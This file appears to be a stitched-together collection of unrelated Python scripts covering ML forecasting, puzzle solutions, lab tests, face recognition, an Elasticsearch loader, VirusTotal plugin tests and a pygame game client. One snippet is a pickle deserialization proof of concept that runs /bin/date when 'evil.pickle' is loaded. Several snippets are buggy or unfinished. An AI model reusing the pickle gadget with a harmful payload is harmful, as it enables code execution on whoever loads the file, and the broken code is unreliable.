#Support Vector machine prediction. Accuracy 40%

import pandas as pd
import csv, math , datetime
import time
import numpy as np
from sklearn import preprocessing, cross_validation, svm
from sklearn.linear_model import LinearRegression, LogisticRegression
import matplotlib.pyplot as plt
from matplotlib import style
#style.use('ggplot')

# All the libraries required

df = pd.read_csv("loaddata.txt")
df = df[['Date', 'Hour', 'Minute', 'Volume']]
# our data frame contains the follwoing we can choose what we want
forcast_col = 'Volume'
# the column that we want to predict
df.fillna(-99999, inplace=True)
# print(df)
forecast_out = int(math.ceil(0.02 * len(df)))
# this is the logic we need to know, how many days prediction can be calculated in this eqaution.
df['label'] = df[forcast_col].shift(-forecast_out)

#print(df)
#print(forecast_out)

X = np.array(df.drop(['label'],1))
X = preprocessing.scale(X)
X_lately = X[-forecast_out:]
#This contains all the data till the forecasy_out value
X = X[:-forecast_out:]
df.dropna(inplace=True)
#print(df)
df.dropna(inplace=True)
y = np.array(df['label'])
y = np.array(df['label'])
#print(len(X),len(y))
X_train, X_test, y_train, y_test = cross_validation.train_test_split(X, y, test_size=0.3)
#the size of the testing data
model = svm.SVR(kernel='rbf',gamma='auto',C=10)
model.fit(X_train,y_train)
accuracy = model.score(X_test,y_test)
predicted = model.predict(X_lately)
print('The SVM accuracy:', accuracy*100,'%')
"""
df['Forecast'] = np.nan
last_date = df.iloc[-1].name
last
one_day = 10368000
next_unix = last_unix + one_day

for i in forecast_set:
    next_date = datetime.datetime.fromtimestamp(next_unix)
    next_unix += one_day
    df.loc[next_date]= [np.nan for _ in range(len(df.columns)-1)] + [i]
"""
df['Volume'].plot()
df['label'].plot()
plt.legend(loc=4)
plt.xlabel('Serial Number')
plt.ylabel('Volume in MW')
plt.show()


'''
Problem Solving Programmers 42626
Author: Injun Son
Date: Dec 22, 2020
'''
import math
from itertools import combinations
from collections import defaultdict
import heapq

def solution(scoville, K):
    answer = 0
    heap = scoville
    heapq.heapify(heap)

    while len(heap) >= 2:
        if heap[0] >= K or len(heap) < 2:
            break
        min_hot = heapq.heappop(heap)
        min_next_hot = heapq.heappop(heap)
        heapq.heappush(heap, min_hot + min_next_hot * 2)
        answer +=1

    if heap[0] < K:
        return -1
    else:
        return answer

# print(solution([1, 2, 3, 9, 10, 12], 7))
# print(solution([1, 1], 5))
# print(solution([1, 1], 1))
print(solution([1, 1, 1], 4), 2)


import pickle
import subprocess

class Exploit(object):
  def __reduce__(self):
    fd = 4
    return (subprocess.Popen,
            (('/bin/date',), # args
             0, # bufsize
             None, # executable
             0, 1, 2 # std{in,out,err}
             ))

d = pickle.dumps(Exploit())
with open("evil.pickle", "wb") as f:
  f.write(d)


from __future__ import division, print_function
from numba import jit
from math import floor
import matplotlib.pyplot as plt
import numpy as np
import lmfit
import tables
import sys
import csv
import time
from lab3_analysis_functions import *

def exp_func(x,a,t):
    return a*np.exp((-x/t))

def test_fitting():
    am_nrgs = read_nrg_sample_file('./data/am_energies.txt')
    am_counts, bin_edges = np.histogram(am_nrgs, bins=2048, range=[0, 400])
    am_bins = (bin_edges[1:]+bin_edges[:-1])/2 # bin centers from bin edges
    am_bins = am_bins[10:250]
    am_counts = am_counts[10:250]
    peak_fwhm, peak_center ,err = fit_gaussian_peak_linear_background(am_bins, am_counts)
    peak_res = round(peak_fwhm/peak_center, 4)
    print('resolution fitting Am-241 peak: ' + str(peak_res) + ' percent')
    am_counts, bin_edges = np.histogram(am_nrgs, bins=2048, range=[0, 400])
    am_bins = (bin_edges[1:]+bin_edges[:-1])/2 # bin centers from bin edges
    am_bins = am_bins[1000:2000]
    am_counts = am_counts[1000:2000]
    pulser_fwhm, pulser_center ,err = fit_gaussian_peak_linear_background(am_bins, am_counts)
    pulser_res = round(pulser_fwhm/pulser_center, 4)
    print('resolution fitting Am-241 pulser: ' + str(pulser_res) + ' percent')
    assert(pulser_res <= peak_res)

def test_baseline_correction():
    x = [100] * 800 + [200] * (4048-800)
    y = baseline_correction(x)
    assert(y[0] == 0)
    assert(y[200] == 0)
    assert(y[2000] == 100)

def test_fast_baseline_correction():
    x = [100] * 800 + [200] * (4048-800)
    y = baseline_correction(x)
    assert(y[0] == 0)
    assert(y[200] == 0)
    assert(y[2000] == 100)

def test_array_sorting():
    arr = np.zeros((5,3))
    #print(arr)
    arr[:,0] = [5, 4, 3, 2, 1]
    arr[:,1] = [20, 21, 27, 40, 5]
    arr[:,2] = arr[:,1]
    arr[0][2] = 2
    arr[3][2] = -1

    arr = arr[np.argsort(arr[:, 2])]

    assert(arr[0][0] == 2)
    assert(arr[0][1] == 40)
    assert(arr[0][2] == -1)

print('testing ...')
test_array_sorting()
print('testing complete')


import json
from imutils import paths
import face_recognition
import cv2
import os
from recognition.models import StudentImage
import numpy as np
from course.services.schedule import currentCourse

def recognize_image(upload_image, user):
    print(user)
    img = cv2.imdecode(np.fromstring(upload_image.read(), np.uint8), cv2.IMREAD_UNCHANGED)
    students = currentCourse(user)[1].students.all()
    students_ids = [student.id for student in students]
    studentImages = StudentImage.objects.filter(student__in=students_ids)
    data = {"encodings": [], "students": []}
    for image in studentImages:
        data["encodings"].append(np.asarray(json.loads(image.encoding))[0])
        data["students"].append(image.student.id)

    print(data["encodings"])
    rgb = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)
    boxes = face_recognition.face_locations(rgb, model="hog")
    # compute the facial embedding for the face
    encodings = face_recognition.face_encodings(rgb, boxes)
    # loop over the facial embeddings
    studentId = None
    for encoding in encodings:
        matches = face_recognition.compare_faces(data["encodings"], encoding)
        # print(matches)
        # check to see if we have found a match
        if True in matches:
            matchedIdxs = [i for (i, b) in enumerate(matches) if b]
            counts = {}
            for i in matchedIdxs:
                print(data["students"])
                studentId = data["students"][i]
                counts[studentId] = counts.get(studentId, 0) + 1
            studentId = max(counts, key=counts.get)
    return {"id": studentId}


import heapq

def dijkstra(top):
    dist = [-1 for _ in range(top+1)]
    dist[top] = 0

    q = []
    heapq.heappush(q, (0, top))

    while q:
        w, u = heapq.heappop(q)

        for mult, cost in graph.items():
            if u % abs(mult) != 0:
                continue
            v = u + mult
            w_v = w + cost * abs(mult)
            if v >= 0 and v < top and (dist[v] == -1 or w_v < dist[v]):
                dist[v] = w_v
                heapq.heappush(q, (w_v, v))
                v += mult
                w_v += cost * abs(mult)

    return dist

for _ in range(int(input())):
    e, f, h = map(int, input().split())
    graph = dict()
    for _ in range(e):
        cost, mult, word = input().split()
        cost, mult = int(cost), int(mult)
        if word == "UP":
            mult = -mult
        graph[mult] = min(graph.get(mult, int(1e100)), cost)
    dist = dijkstra(f-1)
    r = 0
    for u in map(int, input().split()):
        if dist[u] == -1:
            r = -1
            break
        r = max(r, dist[u])
    if r != -1:
        print(r)
    else:
        print("IMPOSSIBLE")


# Hermes Control
# 2018-07-25
# Copyright (c) Cen XIN

import serial
import time

ser = serial.Serial('/dev/ttyS0', 9600, timeout=1)

print('Init succeed!')

try:
    while True:
        cmd = input()
        if cmd == 'q':
            print('Quit from control...')
            break;
        elif cmd[0] == 'w' or cmd[0] == 's' or cmd[0] == 'a' or cmd[0] == 'd' or cmd[0] == 'x':
                ser.write(cmd.encode('utf-8'))
                print('Processing...')
        else:
            print('Wrong command! Try again...')

except KeyboardInterrupt:
    ser.close()


import time
import random
import string
import multiprocessing as mp
import pprint
import pickle
import signal

def sigterm_handler(signal, frame):
    print("guardando logs y otras cosas")

signal.signal(signal.SIGTERM, sigterm_handler)
DURACION = 60

def random_word(length):
    '''devuelve palabras con numero y letra'''
    word = string.ascii_letters + string.digits
    return ''.join(random.choice(word) for i in range(length))

def add_word(star_time, word_dict):
    '''proceso que añade palabras al diccionario compartido entre procesos
    durante un tiempo'''
    diff_time = 0

    while(diff_time < DURACION):
        time_now = time.time()
        diff_time = time_now - star_time
        print(diff_time)

        word = random_word(5)
        if word in word_dict.keys():
            word_dict[word] =+ 1
        else:
            word_dict[word] = 0
        #pprint.pprint(word_dict.keys())

if __name__ == '__main__':

    start_time = time.time()
    manager = mp.Manager()
    word_dict = manager.dict()

    N_PROCESSES = 3

    pool = mp.Pool(N_PROCESSES)
    pool.apply_async(add_word, args = (start_time, word_dict))
    pool.close()
    pool.join()

    pprint.pprint(word_dict.values())

    elementos = len(word_dict)
    repetidos = 0
    for key in word_dict.keys():
        if word_dict[key] > 0:
            reetidos =+ 1

    diferentes = elementos - repetidos

    ''' salvar '''
    with open(pickefile, 'wb') as f:
        pickle.dump(word_dict,f)

    print(" --------------------------------------  ")
    print(f" ----  elementos  ---  {elementos}----  ")
    print(f" ----  repetidos  ---  {repetidos}----  ")
    print(f" ----  diferentes  ---  {diferentes}----  ")


#!/usr/bin/env python3
import argparse

import os
import yaml
from elasticsearch import Elasticsearch, RequestsHttpConnection
from requests_aws4auth import AWS4Auth
from botocore.session import Session

from bento.common.utils import get_logger, print_config

logger = get_logger('ESLoader')

class ESLoader:
    def __init__(self, es_host):
        if 'amazonaws.com' in es_host:
            awsauth = AWS4Auth(
                refreshable_credentials=Session().get_credentials(),
                region='us-east-1',
                service='es'
            )
            self.es_client = Elasticsearch(
                hosts=[es_host],
                http_auth = awsauth,
                use_ssl = True,
                verify_certs = True,
                connection_class = RequestsHttpConnection
            )
        else:
            self.es_client = Elasticsearch(hosts=[es_host])

    def create_index(self, index_name, mapping):
        """Creates an index in Elasticsearch if one isn't already there."""
        return self.es_client.indices.create(
            index=index_name,
            body={
                "settings": {"number_of_shards": 1},
                "mappings": {
                    "properties": mapping
                },
            },
            ignore=400,
        )

    def delete_index(self, index_name):
        return self.es_client.indices.delete(index=index_name, ignore_unavailable=True)

    def recreate_index(self, index_name, mapping):
        logger.info(f'Deleting old index "{index_name}"')
        result = self.delete_index(index_name)
        logger.info(result)

        logger.info(f'Creating index "{index_name}"')
        result = self.create_index(index_name, mapping)
        logger.info(result)

    def load_static_page(self, index_name, mapping, file_name):
        logger.info('Indexing content from about page')
        if not os.path.isfile(file_name):
            raise Exception(f'"{file_name} is not a file!')

        self.recreate_index(index_name, mapping)
        successes = 0
        with open(file_name) as file_obj:
            about_file = yaml.safe_load(file_obj)
            for page in about_file:
                logger.info(f'Indexing static page "{page["page"]}"')
                self.index_data(index_name, page, f'page{page["page"]}')
                successes += 1
        logger.info(f"Indexed {successes} documents")

    def index_data(self, index_name, object, id):
        self.es_client.index(index_name, body=object, id=id)

def main():
    parser = argparse.ArgumentParser(description='Load data into Elasticsearch')
    parser.add_argument('indices_file',
                        type=argparse.FileType('r'),
                        help='Configuration file for indices, example is in config/es_indices.example.yml')
    parser.add_argument('config_file',
                        type=argparse.FileType('r'),
                        help='Configuration file, example is in config/es_loader.example.yml')
    args = parser.parse_args()

    config = yaml.safe_load(args.config_file)['Config']
    indices = yaml.safe_load(args.indices_file)['Indices']
    print_config(logger, config)

    loader = ESLoader(
        es_host=config['es_host']
    )

    for index in indices:
        if index['type'] == 'about_file':
            if 'about_file' in config:
                loader.load_static_page(index['index_name'], index['mapping'], config['about_file'])
            else:
                logger.warning(f'"about_file" not set in configuration file, {index["index_name"]} will not be loaded!')
        else:
            logger.error(f'Unknown index type: "{index["type"]}"')
            continue

if __name__ == '__main__':
    main()


import json
import mock
import os
import unittest

from makobot.plugins.virustotal import VirusTotalPlugin, VirusTotalIPPlugin, \
    VirusTotalMD5Plugin, VirusTotalURLPlugin

DATA_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), '..', 'data')

class VirusTotalPluginTestCase(unittest.TestCase):
    def setUp(self):
        self.plugin = VirusTotalPlugin()

    @mock.patch('makobot.plugins.virustotal.settings', autospec=True)
    def test_enabled_false(self, mock_settings):
        mock_settings.VIRUSTOTAL_API_KEY = None
        self.assertFalse(self.plugin.enabled)

    @mock.patch('makobot.plugins.virustotal.settings', autospec=True)
    def test_enabled_true(self, mock_settings):
        mock_settings.VIRUSTOTAL_API_KEY = 'foo'
        self.assertTrue(self.plugin.enabled)

    @mock.patch('makobot.plugins.virustotal.VirusTotal', autospec=True)
    @mock.patch('makobot.plugins.virustotal.settings', autospec=True)
    def test_activatE(self, mock_settings, mock_virustotal):
        self.plugin.activate()
        mock_virustotal.assert_called_once_with(
            mock_settings.VIRUSTOTAL_API_KEY)
        self.assertEqual(self.plugin.service, mock_virustotal.return_value)

    def test_reaction(self):
        reactions = {
            0: 'sunny',
            0.02: 'mostly_sunny',
            0.04: 'partly_sunny',
            0.06: 'barely_sunny',
            0.1: 'cloud',
            0.15: 'rain_cloud',
            0.2: 'thunder_cloud_and_rain',
            0.8: 'lightning',
            0.9: 'tornado'
        }

        for score, reaction in reactions.items():
            self.assertEqual(self.plugin.reaction(score), reaction)

    def test_risk_level(self):
        risk_levels = {
            0: 'VERY LOW',
            0.02: 'LOW',
            0.1: 'MODERATE',
            0.2: 'MODERATE',
            0.4: 'HIGH',
            0.6: 'HIGH',
            0.8: 'HIGH',
            0.9: 'VERY HIGH',
            1.0: 'VERY HIGH',
            None: 'UNKNOWN'
        }

        for score, risk_level in risk_levels.items():
            self.assertEqual(self.plugin.risk_level(score), risk_level)

class VirusTotalIPPluginTestCase(unittest.TestCase):
    def setUp(self):
        self.plugin = VirusTotalIPPlugin()

    def test_extract(self):
        self.assertTrue(hasattr(self.plugin, 'extract'))

        class Message(object):
            body = {'text': '8.8.8.8'}

        try:
            self.plugin.extract(Message())
        except NotImplementedError as e:
            self.fail(e.message)

        self.assertEqual(len(self.plugin.reports), 1)

    @mock.patch('makobot.plugins.virustotal.VirusTotal', autospec=True)
    def test_report(self, mock_virustotal):
        with open(os.path.join(DATA_DIR, 'virustotal-ip.json')) as f:
            mock_virustotal.return_value.ip.return_value = \
                json.loads(f.read())
        self.plugin.activate()
        mock_message = mock.Mock()
        mock_message.body = {'text': '123.123.123.123'}
        self.plugin.extract(mock_message)
        self.plugin.report(mock_message)
        mock_message.reply.assert_called_once_with(
            'VirusTotal IP report for 123.123.123.123 '
            'Owner: CNCGROUP IP network China169 Beijing Province Network '
            'Positives: 4504/5446 (82.7%) '
            'Risk Level: VERY HIGH')
        self.assertEqual(mock_message.mako_reaction, 'tornado')

class VirusTotalMD5(unittest.TestCase):
    def setUp(self):
        self.plugin = VirusTotalMD5Plugin()

    def test_extract(self):
        self.assertTrue(hasattr(self.plugin, 'extract'))
        mock_message = mock.Mock()
        mock_message.body = {'text': '44d88612fea8a8f36de82e1278abb02f'}
        try:
            self.plugin.extract(mock_message)
        except NotImplementedError as e:
            self.fail(e.message)
        self.assertEqual(len(self.plugin.reports), 1)

    @mock.patch('makobot.plugins.virustotal.VirusTotal', autospec=True)
    def test_report(self, mock_virustotal):
        with open(os.path.join(DATA_DIR, 'virustotal-md5.json')) as f:
            mock_virustotal.return_value.md5.return_value = \
                json.loads(f.read())
        self.plugin.activate()
        mock_message = mock.Mock()
        mock_message.body = {'text': '44d88612fea8a8f36de82e1278abb02f'}
        self.plugin.extract(mock_message)
        self.plugin.report(mock_message)
        mock_message.reply.assert_called_once_with(
            'VirusTotal Md5 report for 44d88612fea8a8f36de82e1278abb02f '
            'Positives: 55/57 (96.5%) '
            'Risk Level: VERY HIGH')
        self.assertEqual(mock_message.mako_reaction, 'tornado')

class VirusTotalURLPluginTestCase(unittest.TestCase):
    def setUp(self):
        self.plugin = VirusTotalURLPlugin()

    def test_extract(self):
        self.assertTrue(hasattr(self.plugin, 'extract'))
        mock_message = mock.Mock()
        mock_message.body = {'text': 'http://google.com'}
        try:
            self.plugin.extract(mock_message)
        except NotImplementedError as e:
            self.fail(e.message)

    @mock.patch('makobot.plugins.virustotal.VirusTotal', autospec=True)
    def test_report(self, mock_virustotal):
        with open(os.path.join(DATA_DIR, 'virustotal-url.json')) as f:
            mock_virustotal.return_value.url.return_value = \
                json.loads(f.read())
        self.plugin.activate()
        mock_message = mock.Mock()
        mock_message.body = {'text': 'http://thepiratebay.se'}
        self.plugin.extract(mock_message)
        self.plugin.report(mock_message)
        mock_message.reply.assert_called_once_with(
            'VirusTotal URL report for http://thepiratebay.se '
            'Positives: 1/67 (1.5%) '
            'Risk Level: LOW')
        self.assertEqual(mock_message.mako_reaction, 'mostly_sunny')


"""
https://leetcode-cn.com/problems/minimum-distance-between-bst-nodes/

给你一个二叉搜索树的根节点 root ，返回 树中任意两不同节点值之间的最小差值 。

差值是一个正数，其数值等于两值之差的绝对值。

示例 1：
    输入：root = [4,2,6,1,3]
    输出：1

示例 2：
    输入：root = [1,0,48,null,null,12,49]
    输出：1

提示：
    树中节点的数目范围是 [2, 100]
    0 <= Node.val <= 10^5

"""
class TreeNode:
    def __init__(self, val=0, left=None, right=None):
        self.val = val
        self.left = left
        self.right = right

def list_to_binarytree(nums):
    def level(index):
        if index >= len(nums) or nums[index] is None:
            return None
        root = TreeNode(nums[index])
        root.left = level(2 * index + 1)
        root.right = level(2 * index + 2)
        return root
    return level(0)

'''方法一：中序遍历, 递归'''
class Solution:
    def minDiffInBST(self, root: TreeNode) -> int:
        arr = []
        res = float("inf")    # 求最小值，所以初始化为正无穷
        def inorder(root):  # 把二叉搜索树转换成有序数组
            if not root: return None
            if root.left: inorder(root.left)    # 左子树
            arr.append(root.val)                # 中子树
            if root.right: inorder(root.right)  # 右子树
            return arr

        inorder(root)
        for i in range(len(arr)-1):  # 统计有序数组的最小差值
            res = min(abs(arr[i] - arr[i+1]), res)
        return res

'''方法二：中序遍历, 迭代'''
class Solution:
    def minDiffInBST(self, root: TreeNode) -> int:
        stack = []
        cur = root
        pre = None
        result = float('inf')   # 求最小值，所以初始化为正无穷
        while cur or stack:
            if cur: # 指针来访问节点，访问到最底层
                stack.append(cur)
                cur = cur.left
            else: # 逐一处理节点
                cur = stack.pop()
                if pre: # 当前节点和前节点的值的差值
                    result = min(result, cur.val - pre.val)

if __name__ == "__main__":
    nums = [1,0,48,None,None,12,49]
    root = list_to_binarytree(nums)

    sol = Solution()
    result = sol.minDiffInBST(root)
    print(result)

0783_二叉搜索树节点最小距离.py


from operator import truediv
import os
from pickle import FALSE
import time
import multiprocessing
import logging
import sys
import math
from turtle import left, xcor
import utils
import socket

import tkinter as tk
import numpy as np
from typing import *
from actions import Actions
from memento import Originator, CareTaker

os.environ['PYGAME_HIDE_SUPPORT_PROMPT'] = 'hide'
import pygame
from button import Button

player_colors_list = ['red', 'yellow', 'green', 'orange', 'pink', 'cyan']

def get_next_color(my_color: str, other_color: str) -> str:
    """
    Get the next available color from the color list based on the current player and opponent colors.

        Parameters:
            my_color (str):     The color of the current player.
            other_color (str):  The color of the opponent.

        Returns:
            color (str):        The next color that can be used.
    """
    #   get list of all colors but the opponent
    available_colors = [c for c in player_colors_list if c != other_color]
    #   get current color based on the new list
    index = available_colors.index(my_color)
    #   iterate over the colors until find an unused one
    while my_color == available_colors[index]:
        index += 1
        if index >= len(available_colors):
            index = 0
    return available_colors[index]

class ClientGUI:

    def __init__(self, client_id: int, queue: multiprocessing.Queue, log_level: int,
                 size: utils.Couple = (6, 10), n: int = 4, max_undo: int = 3) -> None:
        """
        Create a new client, define it's gui, board, and create a socket.

            Parameters:
                client_id (int):                The id of the client.
                queue (multiprocessing.Queue):  The queue to push the logs in.
                log_level (int):                The log level to use.
                size (tuple):                   Size of board to use.
                n (int):                        Value for n-in-a-row.
                max_undo (int):                 Maximum allowed undo per player.
        """
        self.square_size = 80
        self.options_rows = 3
        self.bottom_rows = 1
        self.width = 0
        self.height = 0
        self.radius = 0
        self.client_socket = None
        self.port = 0
        self.host = ''
        self.main_display = None
        self.font_size = 32
        self.font_style = None
        self.font = None
        self.undo_button = None
        self.reset_button = None
        self.start_button = None
        self.main_menu = None
        self.player1_text = None
        self.player2_text = None
        self.player1_circle = None
        self.player2_circle = None
        self.board = None
        self.origin = None
        self.caretaker = None

        self.id = client_id
        self.n = n

        #   if given size is not a tuple, a list or have not 2 dims
        if not (isinstance(size, tuple) or isinstance(size, list)) or len(size) != 2:
            size = (6, 10)

        #   define the board size
        self.rows = size[0]
        self.cols = size[1]

        self.queue = queue
        utils.root_logger_configurer(self.queue, log_level)
        self.logger = logging.getLogger('Client({})'.format(self.id))

        self.max_undo = max_undo
        self.undo_counts = [0, 0]
        self.wins = [0, 0]
        self.player1_color = 'yellow'
        self.player2_color = 'red'
        self.turn = 1
        self.state = Actions.UNKNOWN

        #   calculate the clients gui size based on the amount of rows and cols
        self.calc_window_size()

        #   create the socket and the gui
        self.create_socket()

        self.handle_reset()
        self.create_gui()

        #   run the main game loop
        self.run_game()

    def get_turn_color(self) -> str:
        """
        Returns the color to use based on the current player.

            Returns:
                color (str): Capitalized color string.
        """
        return self.player1_color if self.turn == 1 else self.player2_color

    def get_other_turn_color(self) -> str:
        """
        Returns the color to use based on the other player.

            Returns:
                color (str): Capitalized color string.
        """
        return self.player2_color if self.turn == 1 else self.player1_color

    def get_player_color(self, row: int, col: int) -> str:
        """
        Get a cell in the board and return it's color.

            Parameters:
                row (int): The row in the board.
                col (int): The column in the board.

            Returns:
                color (str): Color name string.
        """
        if self.board[row][col] == 1:
            return self.player1_color
        elif self.board[row][col] == 2:
            return self.player2_color
        return 'black'

    def calc_col_by_mouse(self, x_cord: int) -> int:
        """
        Calculate the column index based on the position of the mouse on the board.

            Parameters:
                x_cord (int): The X coordination of the mouse on the board.

            Returns:
                column (int): The index of the column in the board or -1 if out of board.
        """
        center_x = self.width // 2
        leftmost = center_x - (self.square_size * (self.cols // 2))
        rightmost = center_x + (self.square_size * (self.cols // 2))
        if self.cols % 2 != 0:
            leftmost -= 0.5 * self.square_size
            rightmost += 0.5 * self.square_size

        if not leftmost <= x_cord <= rightmost:
            return -1

        board_x = x_cord - leftmost
        return int(math.floor(board_x / self.square_size))

    def calc_window_size(self) -> None:
        """
        Calculate the size of the window, and adjust the circles size based on the users screen size.
        """
        #   get the screen size
        win = tk.Tk()
        width, height = win.winfo_screenwidth(), win.winfo_screenheight()

        while True:
            #    calculate the total width and height based on the squares size
            self.width = self.cols * self.square_size
            self.height = (self.rows + self.options_rows) * self.square_size + self.bottom_rows * self.square_size // 2

            #   size of circle radius based on the squares
            self.radius = int(self.square_size / 2 - 5)

            #   if the client's size is not bigger than the users screen, exit
            if not (self.width > width or self.height > height - 80):
                break

            #   client's size is bigger than the user's screen, reduce the size
            self.square_size -= 10
            self.font_size -= 2

        self.min_width, self.min_height = self.width, self.height

        self.logger.debug(
            'window size (width={}, height={}), radius={}, square_size={}, font_size={}'.format(self.width, self.height,
                                                                                self.radius,
                                                                                self.square_size,
                                                                                self.font_size))

    def create_socket(self) -> None:
        """
        Creates the client's socket.
        """
        self.client_socket = socket.socket()
        self.port = 1234
        self.host = '127.0.0.1'

        try:
            self.client_socket.connect((self.host, self.port))
        except Exception as e:
            self.logger.error(str(e))
            self.client_socket.close()
        self.logger.info('created conn {}:{}'.format(self.host, self.port))

    def exit(self, should_send: bool = False) -> None:
        """
        Teardown function to close the socket and the gui.

            Parameters:
                should_send (bool): Whether to send an exit event to the server or not, default False.
        """
        if should_send:
            self.client_socket.send(bytes(str(Actions.EXIT.value), 'utf8'))
            self.logger.debug('send exit event to server')
        host, port = self.client_socket.getsockname()
        self.client_socket.close()
        self.logger.info('conn closed {}:{}'.format(host, port))
        pygame.quit()
        sys.exit()

    def create_gui(self) -> None:
        """
        Creates the client's gui.
        """
        #   set an icon and initiate the gui
        icon = pygame.image.load('assets/icon.png')
        pygame.display.set_icon(icon)
        pygame.init()  # initiate the pyGame module
        pygame.mouse.set_cursor(pygame.cursors.tri_left)

        #   create the main display with black background
        self.main_display = pygame.display.set_mode((self.width, self.height), pygame.RESIZABLE)
        self.main_display.fill(utils.get_color('black'))

        self.font_style = pygame.font.match_font('segoeuisymbol')
        self.font = pygame.font.Font(self.font_style, self.font_size)

        self.create_undo_button()
        self.create_reset_button()
        self.start_button = None

        pygame.display.update()
        pygame.display.set_caption('Client {}'.format(self.id))

        bottom_font = pygame.font.Font(self.font_style, self.font_size // 2)
        txt = 'Rows={}, Columns={}, N={}, Undos={}'.format(self.rows, self.cols, self.n, self.max_undo)
        text = bottom_font.render(txt, True, utils.get_color('gray'), utils.get_color('black'))

        leftmost = self.width // 2 - (self.square_size * (self.cols // 2))
        if self.cols % 2 != 0:
            leftmost -= 0.5 * self.square_size

        board_bottom = (self.options_rows + self.rows) * self.square_size

        text_rect = text.get_rect()
        text_rect.topleft = (2 + leftmost, board_bottom)
        self.main_display.blit(text, text_rect)

        #   draw the board itself and the top bar
        self.draw_board()

    def draw_board(self) -> None:
        """
        Draws the board with its current state.
        """
        board_top_offset = self.options_rows * self.square_size
        cols_offset = self.square_size * (self.cols // 2)
        if self.cols % 2 != 0:
            cols_offset += 0.5 * self.square_size
        left_offset = int((self.main_display.get_rect().width // 2) - cols_offset)

        #   iterates over the rows and cols
        for r in range(self.rows):
            for c in range(self.cols):
                #   first, draw a blue rectangle
                pygame.draw.rect(
                    self.main_display,
                    utils.get_color('blue'),
                    (
                        c * self.square_size + left_offset,
                        r * self.square_size + board_top_offset,
                        self.square_size,
                        self.square_size
                    )
                )

                center_x = int(c * self.square_size + self.square_size // 2 + left_offset)
                center_y = int(r * self.square_size + board_top_offset + self.square_size / 2)

                #   second, add a circle with the player's color, or black if empty cell
                color_name = self.get_player_color(r, c)
                self.draw_circle(color_name, (center_x, center_y))

        pygame.display.update()
        self.logger.debug('board=\n{}'.format(self.board))

    def draw_text_top(self, txt: str) -> None:
        """
        Adds text in the top black rectangle.

            Parameters:
                txt (str): Text to add.
        """
        #   if the state of the game is win, define the color of the text as the color of the winner
        color_to_use = self.get_turn_color() if self.state == Actions.WIN else 'GRAY'
        text = self.font.render(txt, True, utils.get_color(color_to_use), utils.get_color('black'))

        #   calculate the center of the text to place it in the center of the window
        text_rect = text.get_rect()
        text_rect.centerx = (self.width // 2)
        text_rect.top = (self.square_size * (self.options_rows - 1))
        self.main_display.blit(text, text_rect)
        self.logger.debug('draw text={}, color={}'.format(txt, color_to_use))

    def draw_scores(self) -> None:
        """
        Draw the players scores at the top of the screen.
        """
        player1_score, player2_score = str(self.wins[0]), str(self.wins[1])

        self.font.set_bold(True)
        text_1 = self.font.render(player1_score, True, utils.get_color(self.player1_color), utils.get_color('black'))
        text_2 = self.font.render(player2_score, True, utils.get_color(self.player2_color), utils.get_color('black'))
        text_c = self.font.render(':', True, utils.get_color('gray'), utils.get_color('black'))
        text_title = self.font.render('Scores:', True, utils.get_color('gray'), utils.get_color('black'))

        text_rect_1 = text_1.get_rect()
        text_rect_2 = text_2.get_rect()
        text_rect_c = text_c.get_rect()
        text_rect_title = text_title.get_rect()

        offset = 10

        text_rect_1.right = (self.width // 2 - offset)
        text_rect_2.left = (self.width // 2 + offset)
        text_rect_c.centerx = (self.width // 2)
        text_rect_title.right = text_rect_1.left - offset

        self.main_display.blit(text_1, text_rect_1)
        self.main_display.blit(text_2, text_rect_2)
        self.main_display.blit(text_c, text_rect_c)
        self.main_display.blit(text_title, text_rect_title)

    def draw_undo(self) -> None:
        """
        Draw the undo count for each player.
        """
        player1_count, player2_count = str(self.undo_counts[0]), str(self.undo_counts[1])

        self.font.set_bold(True)
        text_title = self.font.render('Undos:', True, utils.get_color('gray'), utils.get_color('black'))
        text_1 = self.font.render(player1_count, True, utils.get_color(self.player1_color), utils.get_color('black'))
        text_2 = self.font.render(player2_count, True, utils.get_color(self.player2_color), utils.get_color('black'))
        text_sep = self.font.render('|', True, utils.get_color('gray'), utils.get_color('black'))

        text_rect_title = text_title.get_rect()
        text_rect_1 = text_1.get_rect()
        text_rect_2 = text_2.get_rect()
        text_rect_sep = text_sep.get_rect()

        offset = 10

        text_rect_1.right = (self.width // 2 - offset)
        text_rect_1.top = (self.square_size)
        text_rect_2.left = (self.width // 2 + offset)
        text_rect_2.top = (self.square_size)
        text_rect_sep.centerx = (self.width // 2)
        text_rect_sep.top = (self.square_size)
        text_rect_title.right = (text_rect_1.left - offset)
        text_rect_title.top = (self.square_size)

        self.main_display.blit(text_1, text_rect_1)
        self.main_display.blit(text_2, text_rect_2)
        self.main_display.blit(text_title, text_rect_title)
        self.main_display.blit(text_sep, text_rect_sep)

    def draw_main_menu(self) -> None:
        """
        Draws a menu where each player can choose its color and who will play first.
        """
        #   define the span in each axis
        x_num_squares = 4
        y_num_squares = 3

        #   calculates the X and Y coordinates based on the size of the rectangles of the board
        center_x = self.width // 2
        leftmost = center_x - (self.square_size * (self.cols // 2))
        if self.cols % 2 != 0:
            leftmost -= 0.5 * self.square_size
        x = int((((self.cols / 2) - x_num_squares / 2) * self.square_size) + leftmost)
        y = int((((self.rows / 2) - y_num_squares / 2) * self.square_size) + self.square_size * self.options_rows)

        #   draw the main rectangle of the menu
        self.main_menu = pygame.draw.rect(
            self.main_display,
            utils.get_color('gray'),
            (
                x,
                y,
                self.square_size * x_num_squares,
                self.square_size * y_num_squares
            )
        )

        row_offset = 20

        #   draw player 1 title
        self.font.set_bold(self.turn == 1)
        text = self.font.render('{} Player 1:'.format('ðŸ –' if self.turn == 1 else '    '), True,
                                utils.get_color('black'))
        self.player1_text = text.get_rect()
        self.player1_text.midleft = (x, y + row_offset * 2)
        self.main_display.blit(text, self.player1_text)

        #   draw player 2 title
        self.font.set_bold(self.turn == 2)
        text = self.font.render('{} Player 2:'.format('ðŸ –' if self.turn == 2 else '    '), True,
                                utils.get_color('black'))
        self.player2_text = text.get_rect()
        self.player2_text.midleft = (x, y + row_offset * 4)
        self.main_display.blit(text, self.player2_text)

        #   draw players colors

        little_radius = int(self.radius // 2)

        self.player1_circle = self.draw_circle(
            self.player1_color,
            (self.main_menu.right - (little_radius * 2), y + row_offset * 2),
            radius=little_radius)

        self.player2_circle = self.draw_circle(
            self.player2_color,
            (self.main_menu.right - (little_radius * 2), y + row_offset * 4),
            radius=little_radius)

        #   define and draw start button
        if not self.start_button:
            x_num_squares = 3
